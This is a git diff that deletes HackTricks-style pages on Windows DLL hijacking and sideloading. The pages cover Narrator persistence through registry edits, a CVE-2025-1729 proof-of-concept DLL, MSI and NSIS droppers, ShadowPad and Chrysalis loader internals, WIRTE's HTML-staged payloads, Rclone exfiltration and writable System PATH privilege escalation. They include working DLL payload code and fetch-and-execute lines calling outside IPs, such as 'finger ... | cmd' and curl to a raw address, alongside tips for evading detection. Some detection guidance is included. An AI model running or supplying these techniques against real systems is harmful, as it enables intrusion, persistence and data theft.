-OPSEC silence
-- A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (`OpenThread(THREAD_SUSPEND_RESUME)`) and `SuspendThread` it; continue in your own thread. See PoC for full code.
-
-Trigger and persistence via Accessibility configuration
-- User context (HKCU): `reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f`
-- Winlogon/SYSTEM (HKLM): `reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f`
-- With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator; your DLL executes as SYSTEM on the secure desktop.
-
-RDP-triggered SYSTEM execution (lateral movement)
-- Allow classic RDP security layer: `reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f`
-- RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
-- Execution stops when the RDP session closes—inject/migrate promptly.
-
-Bring Your Own Accessibility (BYOA)
-- You can clone a built-in Accessibility Tool (AT) registry entry (e.g., CursorIndicator), edit it to point to an arbitrary binary/DLL, import it, then set `configuration` to that AT name. This proxies arbitrary execution under the Accessibility framework.
-
-Notes
-- Writing under `%windir%\System32` and changing HKLM values requires admin rights.
-- All payload logic can live in `DLL_PROCESS_ATTACH`; no exports are needed.
-
-## Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
-
-This case demonstrates **Phantom DLL Hijacking** in Lenovo's TrackPoint Quick Menu (`TPQMAssistant.exe`), tracked as **CVE-2025-1729**.
-
-### Vulnerability Details
-
-- **Component**: `TPQMAssistant.exe` located at `C:\ProgramData\Lenovo\TPQM\Assistant\`.
-- **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` runs daily at 9:30 AM under the context of the logged-on user.
-- **Directory Permissions**: Writable by `CREATOR OWNER`, allowing local users to drop arbitrary files.
-- **DLL Search Behavior**: Attempts to load `hostfxr.dll` from its working directory first and logs "NAME NOT FOUND" if missing, indicating local directory search precedence.
-
-### Exploit Implementation
-
-An attacker can place a malicious `hostfxr.dll` stub in the same directory, exploiting the missing DLL to achieve code execution under the user's context:
-
-```c
-#include <windows.h>
-
-BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
-    if (fdwReason == DLL_PROCESS_ATTACH) {
-        // Payload: display a message box (proof-of-concept)
-        MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
-    }
-    return TRUE;
-}
-```
-
-### Attack Flow
-
-1. As a standard user, drop `hostfxr.dll` into `C:\ProgramData\Lenovo\TPQM\Assistant\`.
-2. Wait for the scheduled task to run at 9:30 AM under the current user's context.
-3. If an administrator is logged in when the task executes, the malicious DLL runs in the administrator's session at medium integrity.
-4. Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges.
-
-## Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
-
-Threat actors frequently pair MSI-based droppers with DLL side-loading to execute payloads under a trusted, signed process.
-
-Chain overview
-- User downloads MSI. A CustomAction runs silently during the GUI install (e.g., LaunchApplication or a VBScript action), reconstructing the next stage from embedded resources.
-- The dropper writes a legitimate, signed EXE and a malicious DLL to the same directory (example pair: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
-- When the signed EXE is started, Windows DLL search order loads wsc.dll from the working directory first, executing attacker code under a signed parent (ATT&CK T1574.001).
-
-MSI analysis (what to look for)
-- CustomAction table:
-  - Look for entries that run executables or VBScript. Example suspicious pattern: LaunchApplication executing an embedded file in background.
-  - In Orca (Microsoft Orca.exe), inspect CustomAction, InstallExecuteSequence and Binary tables.
-- Embedded/split payloads in the MSI CAB:
-  - Administrative extract: msiexec /a package.msi /qb TARGETDIR=C:\out
-  - Or use lessmsi: lessmsi x package.msi C:\out
-  - Look for multiple small fragments that are concatenated and decrypted by a VBScript CustomAction. Common flow:
-
-```vb
-' VBScript CustomAction (high level)
-' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
-' 2) Concatenate with ADODB.Stream or FileSystemObject
-' 3) Decrypt using a hardcoded password/key
-' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
-```
-
-Practical sideloading with wsc_proxy.exe
-- Drop these two files in the same folder:
-  - wsc_proxy.exe: legitimate signed host (Avast). The process attempts to load wsc.dll by name from its directory.
-  - wsc.dll: attacker DLL. If no specific exports are required, DllMain can suffice; otherwise, build a proxy DLL and forward required exports to the genuine library while running payload in DllMain.
-- Build a minimal DLL payload:
-
-```c
-// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
-#include <windows.h>
-BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
-  if (r == DLL_PROCESS_ATTACH) {
-    WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
-  }
-  return TRUE;
-}
-```
-
-- For export requirements, use a proxying framework (e.g., DLLirant/Spartacus) to generate a forwarding DLL that also executes your payload.
-
-- This technique relies on DLL name resolution by the host binary. If the host uses absolute paths or safe loading flags (e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), hijack may fail.
-- KnownDLLs, SxS, and forwarded exports can influence precedence and must be considered during selection of the host binary and export set.
-
-## Signed triads + encrypted payloads (ShadowPad case study)
-
-Check Point described how Ink Dragon deploys ShadowPad using a **three-file triad** to blend in with legitimate software while keeping the core payload encrypted on disk:
-
-1. **Signed host EXE** – vendors such as AMD, Realtek, or NVIDIA are abused (`vncutil64.exe`, `ApplicationLogs.exe`, `msedge_proxyLog.exe`). The attackers rename the executable to look like a Windows binary (for example `conhost.exe`), but the Authenticode signature remains valid.
-2. **Malicious loader DLL** – dropped next to the EXE with an expected name (`vncutil64loc.dll`, `atiadlxy.dll`, `msedge_proxyLogLOC.dll`). The DLL is usually an MFC binary obfuscated with the ScatterBrain framework; its only job is to locate the encrypted blob, decrypt it, and reflectively map ShadowPad.
-3. **Encrypted payload blob** – often stored as `<name>.tmp` in the same directory. After memory-mapping the decrypted payload, the loader deletes the TMP file to destroy forensic evidence.
-
-Tradecraft notes:
-
-* Renaming the signed EXE (while keeping the original `OriginalFileName` in the PE header) lets it masquerade as a Windows binary yet retain the vendor signature, so replicate Ink Dragon’s habit of dropping `conhost.exe`-looking binaries that are really AMD/NVIDIA utilities.
-* Because the executable stays trusted, most allowlisting controls only need your malicious DLL to sit alongside it. Focus on customizing the loader DLL; the signed parent can typically run untouched.
-* ShadowPad’s decryptor expects the TMP blob to live next to the loader and be writable so it can zero the file after mapping. Keep the directory writable until the payload loads; once in memory the TMP file can safely be deleted for OPSEC.
-
-### LOLBAS stager + staged archive sideloading chain (finger → tar/curl → WMI)
-
-Operators pair DLL sideloading with LOLBAS so the only custom artifact on disk is the malicious DLL next to the trusted EXE:
-
-- **Remote command loader (Finger):** Hidden PowerShell spawns `cmd.exe /c`, pulls commands from a Finger server, and pipes them to `cmd`:
-
-  ```powershell
-  powershell.exe Start-Process cmd -ArgumentList '/c finger Galo@91.193.19.108 | cmd' -WindowStyle Hidden
-  ```
-  - `finger user@host` pulls TCP/79 text; `| cmd` executes the server response, letting operators rotate second stage server-side.
-
-- **Built-in download/extract:** Download an archive with a benign extension, unpack it, and stage the sideload target plus DLL under a random `%LocalAppData%` folder:
-
-  ```powershell
-  $base = "$Env:LocalAppData"; $dir = Join-Path $base (Get-Random); curl -s -L -o "$dir.pdf" 79.141.172.212/tcp; mkdir "$dir"; tar -xf "$dir.pdf" -C "$dir"; $exe = "$dir\intelbq.exe"
-  ```
-  - `curl -s -L` hides progress and follows redirects; `tar -xf` uses Windows' built-in tar.
-
-- **WMI/CIM launch:** Start the EXE via WMI so telemetry shows a CIM-created process while it loads the colocated DLL:
-
-  ```powershell
-  Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "`"$exe`""}
-  ```
-  - Works with binaries that prefer local DLLs (e.g., `intelbq.exe`, `nearby_share.exe`); payload (e.g., Remcos) runs under the trusted name.
-
-- **Hunting:** Alert on `forfiles` when `/p`, `/m`, and `/c` appear together; uncommon outside admin scripts.
-
-
-## Case Study: NSIS dropper + Bitdefender Submission Wizard sideload (Chrysalis)
-
-A recent Lotus Blossom intrusion abused a trusted update chain to deliver an NSIS-packed dropper that staged a DLL sideload plus fully in-memory payloads.
-
-Tradecraft flow
-- `update.exe` (NSIS) creates `%AppData%\Bluetooth`, marks it **HIDDEN**, drops a renamed Bitdefender Submission Wizard `BluetoothService.exe`, a malicious `log.dll`, and an encrypted blob `BluetoothService`, then launches the EXE.
-- The host EXE imports `log.dll` and calls `LogInit`/`LogWrite`. `LogInit` mmap-loads the blob; `LogWrite` decrypts it with a custom LCG-based stream (constants **0x19660D** / **0x3C6EF35F**, key material derived from a prior hash), overwrites the buffer with plaintext shellcode, frees temps, and jumps to it.
-- To avoid an IAT, the loader resolves APIs by hashing export names using **FNV-1a basis 0x811C9DC5 + prime 0x1000193**, then applying a Murmur-style avalanche (**0x85EBCA6B**) and comparing against salted target hashes.
-
-Main shellcode (Chrysalis)
-- Decrypts a PE-like main module by repeating add/XOR/sub with key `gQ2JR&9;` over five passes, then dynamically loads `Kernel32.dll` → `GetProcAddress` to finish import resolution.
-- Reconstructs DLL name strings at runtime via per-character bit-rotate/XOR transforms, then loads `oleaut32`, `advapi32`, `shlwapi`, `user32`, `wininet`, `ole32`, `shell32`.
-- Uses a second resolver that walks the **PEB → InMemoryOrderModuleList**, parses each export table in 4-byte blocks with Murmur-style mixing, and only falls back to `GetProcAddress` if the hash is not found.
-
-Embedded configuration & C2
-- Config lives inside the dropped `BluetoothService` file at **offset 0x30808** (size **0x980**) and is RC4-decrypted with key `qwhvb^435h&*7`, revealing the C2 URL and User-Agent.
-- Beacons build a dot-delimited host profile, prepend tag `4Q`, then RC4-encrypt with key `vAuig34%^325hGV` before `HttpSendRequestA` over HTTPS. Responses are RC4-decrypted and dispatched by a tag switch (`4T` shell, `4V` process exec, `4W/4X` file write, `4Y` read/exfil, `4\\` uninstall, `4` drive/file enum + chunked transfer cases).
-- Execution mode is gated by CLI args: no args = install persistence (service/Run key) pointing to `-i`; `-i` relaunches self with `-k`; `-k` skips install and runs payload.
-
-Alternate loader observed
-- The same intrusion dropped Tiny C Compiler and executed `svchost.exe -nostdlib -run conf.c` from `C:\ProgramData\USOShared\`, with `libtcc.dll` beside it. The attacker-supplied C source embedded shellcode, compiled, and ran in-memory without touching the disk with a PE. Replicate with:
-
-```cmd
-C:\ProgramData\USOShared\tcc.exe -nostdlib -run conf.c
-```
-
-- This TCC-based compile-and-run stage imported `Wininet.dll` at runtime and pulled a second-stage shellcode from a hardcoded URL, giving a flexible loader that masquerades as a compiler run.
-
-## Signed-host sideloading with export proxying + host thread parking
-
-Some DLL sideloading chains add **stability engineering** so the legitimate host stays alive long enough to load later stages cleanly instead of crashing after the malicious DLL is loaded.
-
-Observed pattern
-- Drop a trusted EXE beside a malicious DLL using the expected dependency name such as `version.dll`.
-- The malicious DLL **proxies every expected export** back to the real system DLL (for example `%SystemRoot%\\System32\\version.dll`) so import resolution still succeeds and the host process keeps working.
-- After load, the malicious DLL **patches the host entry point** so the main thread falls into an infinite `Sleep` loop instead of exiting or running code paths that would terminate the process.
-- A new thread performs the real malicious work: decrypting the next-stage DLL name or path (RC4/XOR are common), then launching it with `LoadLibrary`.
-
-Why this matters
-- Normal DLL proxying preserves API compatibility, but it doesn't guarantee the host stays alive long enough for later stages.
-- Parking the main thread in `Sleep(INFINITE)` is a simple way to keep the signed process resident while the loader performs decryption, staging, or network bootstrap in a worker thread.
-- Hunting only for a suspicious `DllMain` miss this pattern if the interesting behavior happens after the host entry point is patched and a secondary thread starts.
-
-Minimal workflow
-1. Copy the signed host EXE and determine the DLL it resolves from the local directory.
-2. Build a proxy DLL exporting the same functions and forwarding them to the legitimate DLL.
-3. In `DllMain(DLL_PROCESS_ATTACH)`, create a worker thread.
-4. From that thread, patch the host entry point or main thread start routine so it loops on `Sleep`.
-5. Decrypt the next-stage DLL name/config and call `LoadLibrary` or manual-map the payload.
-
-Defensive pivots
-- Signed processes loading `version.dll` or similarly common libraries from their own application directory instead of `System32`.
-- Memory patches at the process entry point shortly after image load, especially jumps/calls redirected to `Sleep`/`SleepEx`.
-- Threads created by a proxy DLL that immediately call `LoadLibrary` on a second DLL with a decrypted name.
-- Full-export proxy DLLs placed next to vendor executables inside writable staging directories such as `ProgramData`, `%TEMP%`, or unpacked archive paths.
-
-## References
-
-- [Red Canary – Intelligence Insights: January 2026](https://redcanary.com/blog/threat-intelligence/intelligence-insights-january-2026/)
-- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
-- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
-- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
-- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
-- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
-- [TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers](https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers)
-- [PoC – api0cradle/Narrator-dll](https://github.com/api0cradle/Narrator-dll)
-- [Sysinternals Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)
-- [Unit 42 – Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT](https://unit42.paloaltonetworks.com/impersonation-campaigns-deliver-gh0st-rat/)
-- [Unit 42 – Converging Interests: Analysis of Threat Clusters Targeting a Southeast Asian Government](https://unit42.paloaltonetworks.com/espionage-campaigns-target-se-asian-government-org/)
-- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
-- [Rapid7 – The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit](https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit)
-- [0xdf – HTB Bruno ZipSlip → DLL hijack chain](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
-- [Unit 42 – Tracking Iranian APT Screening Serpens’ 2026 Espionage Campaigns](https://unit42.paloaltonetworks.com/tracking-iran-apt-screening-serpens/)
-- [Microsoft Learn – `<appDomainManagerAssembly>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/appdomainmanagerassembly-element)
-- [Microsoft Learn – `<appDomainManagerType>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/appdomainmanagertype-element)
-- [Microsoft Learn – `<probing>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/probing-element)
-- [Microsoft Learn – `<bypassTrustedAppStrongNames>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/bypasstrustedappstrongnames-element)
-- [Microsoft Learn – `<publisherPolicy>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/publisherpolicy-element)
-- [Microsoft Learn – `<requiredRuntime>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/startup/requiredruntime-element)
-- [Check Point Research – Fast and Furious: Nimbus Manticore Operations During the Iranian Conflict](https://research.checkpoint.com/2026/fast-and-furious-nimbus-manticore-operations-during-the-iranian-conflict/)
-- [Microsoft Learn – Task Actions](https://learn.microsoft.com/en-us/windows/win32/taskschd/task-actions)
-- [MITRE ATT&CK – T1574.014 AppDomainManager](https://attack.mitre.org/techniques/T1574/014/)
-- [Unit 42 – CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure](https://unit42.paloaltonetworks.com/cl-sta-1062-tinyrct-backdoor/)
-
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/advanced-html-staged-dll-sideloading.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/advanced-html-staged-dll-sideloading.md
deleted file mode 100644
index ba1e521de2a..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/advanced-html-staged-dll-sideloading.md
+++ /dev/null
@@ -1,128 +0,0 @@
-# Advanced DLL Side-Loading With HTML-Embedded Payload Staging
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Tradecraft Overview
-
-Ashen Lepus (aka WIRTE) weaponized a repeatable pattern that chains DLL sideloading, staged HTML payloads, and modular .NET backdoors to persist inside Middle Eastern diplomatic networks. The technique is reusable by any operator because it relies on:
-
-- **Archive-based social engineering**: benign PDFs instruct targets to pull a RAR archive from a file-sharing site. The archive bundles a real-looking document viewer EXE, a malicious DLL named after a trusted library (e.g., `netutils.dll`, `srvcli.dll`, `dwampi.dll`, `wtsapi32.dll`), and a decoy `Document.pdf`.
-- **DLL search order abuse**: the victim double-clicks the EXE, Windows resolves the DLL import from the current directory, and the malicious loader (AshenLoader) executes inside the trusted process while the decoy PDF opens to avoid suspicion.
-- **Living-off-the-land staging**: every later stage (AshenStager → AshenOrchestrator → modules) is kept off disk until needed, delivered as encrypted blobs hidden inside otherwise harmless HTML responses.
-
-## Multi-Stage Side-Loading Chain
-
-1. **Decoy EXE → AshenLoader**: the EXE side-loads AshenLoader, which performs host recon, AES-CTR encrypts it, and POSTs it inside rotating parameters such as `token=`, `id=`, `q=`, or `auth=` to API-looking paths (e.g., `/api/v2/account`).
-2. **HTML extraction**: the C2 only betrays the next stage when the client IP geolocates to the target region and the `User-Agent` matches the implant, frustrating sandboxes. When the checks pass the HTTP body contains a `<headerp>...</headerp>` blob with the Base64/AES-CTR encrypted AshenStager payload.
-3. **Second sideload**: AshenStager is deployed with another legitimate binary that imports `wtsapi32.dll`. The malicious copy injected into the binary fetches more HTML, this time carving `<article>...</article>` to recover AshenOrchestrator.
-4. **AshenOrchestrator**: a modular .NET controller that decodes a Base64 JSON config. The config’s `tg` and `au` fields are concatenated/hashed into the AES key, which decrypts `xrk`. The resulting bytes act as an XOR key for every module blob fetched afterwards.
-5. **Module delivery**: each module is described through HTML comments that redirect the parser to an arbitrary tag, breaking static rules that look only for `<headerp>` or `<article>`. Modules include persistence (`PR*`), uninstallers (`UN*`), reconnaissance (`SN`), screen capture (`SCT`), and file exploration (`FE`).
-
-### HTML Container Parsing Pattern
-
-```csharp
-var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
-var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
-var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
-var module = XorBytes(aesBytes, xorKey);
-LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
-```
-
-Even if defenders block or strip a specific element, the operator only needs to change the tag hinted in the HTML comment to resume delivery.
-
-### Quick Extraction Helper (Python)
-
-```python
-import base64, re, requests
-
-html = requests.get(url, headers={"User-Agent": ua}).text
-tag = re.search(r"<!--\s*TAG:\s*<(.*?)>\s*-->", html, re.I).group(1)
-b64 = re.search(fr"<{tag}>(.*?)</{tag}>", html, re.S | re.I).group(1)
-blob = base64.b64decode(b64)
-# decrypt blob with AES-CTR, then XOR if required
-```
-
-## HTML Staging Evasion Parallels
-
-Recent HTML smuggling research (Talos) highlights payloads hidden as Base64 strings inside `<script>` blocks in HTML attachments and decoded via JavaScript at runtime. The same trick can be reused for C2 responses: stage encrypted blobs inside a script tag (or other DOM element) and decode them in-memory before AES/XOR, making the page look like ordinary HTML. Talos also shows layered obfuscation (identifier renaming plus Base64/Caesar/AES) inside script tags, which maps cleanly to HTML-staged C2 blobs. A later Talos writeup on **hidden text salting** is also relevant here: splitting Base64 with irrelevant HTML comments or whitespace is enough to break simple regex extractors while keeping browser-side reconstruction trivial.
-
-## Recent Variant Notes (2024-2025)
-
-- Check Point observed WIRTE campaigns in 2024 that still hinged on archive-based sideloading but used `propsys.dll` (stagerx64) as the first stage. The stager decodes the next payload with Base64 + XOR (key `53`), sends HTTP requests with a hardcoded `User-Agent`, and extracts encrypted blobs embedded between HTML tags. In one branch, the stage was reconstructed from a long list of embedded IP strings decoded via `RtlIpv4StringToAddressA`, then concatenated into the payload bytes.
-- OWN-CERT documented earlier WIRTE tooling where the side-loaded `wtsapi32.dll` dropper protected strings with Base64 + TEA and used the DLL name itself as the decryption key, then XOR/Base64-obfuscated host identification data before sending it to the C2.
-
-## Reconstructing IP-Encoded Stages
-
-WIRTE's 2024 `propsys.dll` branch shows that the next PE does not need to live as one contiguous HTML blob. The loader can stash stage bytes as dotted-quad strings and rebuild them with `RtlIpv4StringToAddressA`, a pattern closely related to Hive's **IPfuscation** tradecraft. Operationally this is useful when the actor wants the HTML page to contain what looks like harmless IOCs or config data instead of an obvious Base64 payload.
-
-```python
-import pathlib, re, socket
-
-text = pathlib.Path("stage.txt").read_text(encoding="utf-8")
-ips = re.findall(r'((?:\d{1,3}\.){3}\d{1,3})', text)
-blob = b"".join(socket.inet_aton(ip) for ip in ips)
-pathlib.Path("stage.bin").write_bytes(blob)
-```
-
-If the recovered bytes begin with `MZ`, you likely reconstructed the next PE directly. If not, check for a leading XOR/Base64 layer or small delimiter chunks between addresses.
-
-## Swappable DLL Names & Host Rotation
-
-A strong property of this pattern is that the **HTML/AES/XOR staging backend can stay identical while only the sideload pair changes**. WIRTE rotated through `netutils.dll`, `srvcli.dll`, `dwampi.dll`, `wtsapi32.dll`, and `propsys.dll` across campaigns, which is useful because:
-
-- `propsys.dll` and `wtsapi32.dll` are boring Windows DLL names that defenders expect to exist in `%System32%` / `%SysWOW64%`.
-- Public catalogs such as **HijackLibs** already map many binaries that will load those DLL names from a copied application directory, giving operators replacement hosts without redesigning the stager.
-- Only the export surface must be adapted per host. The HTML parser, AES/XOR routines, and module loader can usually be transplanted unchanged into a forwarding proxy DLL.
-
-For offensive lab work, this means you can separate the problem into **(1) find a stable signed host that resolves your chosen DLL name locally** and **(2) reuse the same staged-HTML loader logic behind that DLL**.
-
-## Crypto & C2 Hardening
-
-- **AES-CTR everywhere**: current loaders embed 256-bit keys plus nonces (e.g., `{9a 20 51 98 ...}`) and optionally add an XOR layer using strings such as `msasn1.dll` before/after decryption.
-- **Key material variations**: earlier loaders used Base64 + TEA to protect embedded strings, with the decryption key derived from the malicious DLL name (e.g., `wtsapi32.dll`).
-- **Infrastructure split + subdomain camouflage**: staging servers are separated per tool, hosted across varying ASNs, and sometimes fronted by legitimate-looking subdomains, so burning one stage doesn't expose the rest.
-- **Recon smuggling**: enumerated data now includes Program Files listings to spot high-value apps and is always encrypted before it leaves the host.
-- **URI churn**: query parameters and REST paths rotate between campaigns (`/api/v1/account?token=` → `/api/v2/account?auth=`), invalidating brittle detections.
-- **User-Agent pinning + safe redirects**: C2 infrastructure responds only to exact UA strings and otherwise redirects to benign news/health sites to blend in.
-- **Gated delivery**: servers are geo-fenced and only answer real implants. Unapproved clients receive unsuspicious HTML.
-
-## Persistence & Execution Loop
-
-AshenStager drops scheduled tasks that masquerade as Windows maintenance jobs and execute via `svchost.exe`, e.g.:
-
-- `C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender Updater`
-- `C:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services Updater`
-- `C:\Windows\System32\Tasks\Automatic Windows Update`
-
-These tasks relaunch the sideloading chain on boot or at intervals, ensuring AshenOrchestrator can request fresh modules without touching disk again.
-
-## Using Benign Sync Clients for Exfiltration
-
-Operators stage diplomatic documents inside `C:\Users\Public` (world-readable and non-suspicious) through a dedicated module, then download the legitimate [Rclone](https://rclone.org/) binary to synchronize that directory with attacker storage. Unit42 notes this is the first time this actor has been observed using Rclone for exfiltration, aligning with the broader trend of abusing legitimate sync tooling to blend into normal traffic:
-
-1. **Stage**: copy/collect target files into `C:\Users\Public\{campaign}\`.
-2. **Configure**: ship an Rclone config pointing at an attacker-controlled HTTPS endpoint (e.g., `api.technology-system[.]com`).
-3. **Sync**: run `rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quiet` so the traffic resembles normal cloud backups.
-
-Because Rclone is widely used for legitimate backup workflows, defenders must focus on anomalous executions (new binaries, odd remotes, or sudden syncing of `C:\Users\Public`).
-
-## Detection Pivots
-
-- Alert on **signed processes** that unexpectedly load DLLs from user-writable paths (Procmon filters + `Get-ProcessMitigation -Module`), especially when the DLL names overlap with `netutils`, `srvcli`, `dwampi`, `wtsapi32`, or `propsys`.
-- Inspect suspicious HTTPS responses for **large Base64 blobs embedded inside unusual tags** or guarded by `<!-- TAG: <xyz> -->` comments.
-- Normalize HTML first: **strip comments and collapse whitespace before Base64 extraction**, because hidden-text-salting style evasion can split payloads across comment boundaries.
-- Extend HTML hunting to **Base64 strings inside `<script>` blocks** (HTML smuggling-style staging) that are decoded via JavaScript before AES/XOR processing.
-- Hunt for repeated calls to **`RtlIpv4StringToAddressA` followed by buffer assembly**, especially when the surrounding strings are long IPv4 lists rather than real network targets.
-- Hunt for **scheduled tasks** that run `svchost.exe` with non-service arguments or point back to dropper directories.
-- Track **C2 redirects** that only return payloads for exact `User-Agent` strings and otherwise bounce to legitimate news/health domains.
-- Monitor for **Rclone** binaries appearing outside IT-managed locations, new `rclone.conf` files, or sync jobs pulling from staging directories like `C:\Users\Public`.
-
-## References
-
-- [Hamas-Affiliated Ashen Lepus Targets Middle Eastern Diplomatic Entities With New AshTag Malware Suite](https://unit42.paloaltonetworks.com/hamas-affiliate-ashen-lepus-uses-new-malware-suite-ashtag/)
-- [Hidden between the tags: Insights into evasion techniques in HTML smuggling](https://blog.talosintelligence.com/hidden-between-the-tags-insights-into-evasion-techniques-in-html-smuggling/)
-- [Hamas-affiliated Threat Actor WIRTE Continues its Middle East Operations and Moves to Disruptive Activity](https://research.checkpoint.com/2024/hamas-affiliated-threat-actor-expands-to-disruptive-activity/)
-- [WIRTE: In Search of Lost Time](https://www.own.security/en/ressources/blog/wirte-analyse-campagne-cyber-own-cert)
-- [Hive Ransomware Deploys Novel IPfuscation Technique To Avoid Detection](https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/)
-- [Potential System DLL Sideloading From Non System Locations](https://detection.fyi/sigmahq/sigma/windows/image_load/image_load_side_load_from_non_system_location/)
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc.md
deleted file mode 100644
index 62f25c793e7..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-dll-hijacking-privesc.md
+++ /dev/null
@@ -1,119 +0,0 @@
-# Writable Sys Path +Dll Hijacking Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Introduction
-
-If you found that you can **write in a System Path folder** (note that this won't work if you can write in a User Path folder) it's possible that you could **escalate privileges** in the system.
-
-In order to do that you can abuse a **Dll Hijacking** where you are going to **hijack a library being loaded** by a service or process with **more privileges** than yours, and because that service is loading a Dll that probably doesn't even exist in the entire system, it's going to try to load it from the System Path where you can write.
-
-For more info about **what is Dll Hijackig** check:
-
-
-{{#ref}}
-./
-{{#endref}}
-
-## Privesc with Dll Hijacking
-
-### Finding a missing Dll
-
-The first thing you need is to **identify a process** running with **more privileges** than you that is trying to **load a Dll from the System Path** you can write in.
-
-Remember that this technique depends on a **Machine/System PATH** entry, not only on your **User PATH**. Therefore, before spending time on Procmon, it's worth enumerating the **Machine PATH** entries and checking which ones are writable:
-
-```powershell
-$machinePath = [Environment]::GetEnvironmentVariable("Path", "Machine") -split ';' | Where-Object { $_ }
-$machinePath | ForEach-Object {
-    $path = $_.Trim()
-    if ($path) {
-        Write-Host "`n[*] $path"
-        icacls $path 2>$null
-    }
-}
-```
-
-The problem in this cases is that probably thoses processes are already running. To find which Dlls are lacking the services you need to launch procmon as soon as possible (before processes are loaded). So, to find lacking .dlls do:
-
-- **Create** the folder `C:\privesc_hijacking` and add the path `C:\privesc_hijacking` to **System Path env variable**. You can do this **manually** or with **PS**:
-
-```bash
-# Set the folder path to create and check events for
-$folderPath = "C:\privesc_hijacking"
-
-# Create the folder if it does not exist
-if (!(Test-Path $folderPath -PathType Container)) {
-    New-Item -ItemType Directory -Path $folderPath | Out-Null
-}
-
-# Set the folder path in the System environment variable PATH
-$envPath = [Environment]::GetEnvironmentVariable("PATH", "Machine")
-if ($envPath -notlike "*$folderPath*") {
-    $newPath = "$envPath;$folderPath"
-    [Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine")
-}
-```
-
-- Launch **`procmon`** and go to **`Options`** --> **`Enable boot logging`** and press **`OK`** in the prompt.
-- Then, **reboot**. When the computer is restarted **`procmon`** will start **recording** events asap.
-- Once **Windows** is **started execute `procmon`** again, it'll tell you that it has been running and will **ask you if you want to store** the events in a file. Say **yes** and **store the events in a file**.
-- **After** the **file** is **generated**, **close** the opened **`procmon`** window and **open the events file**.
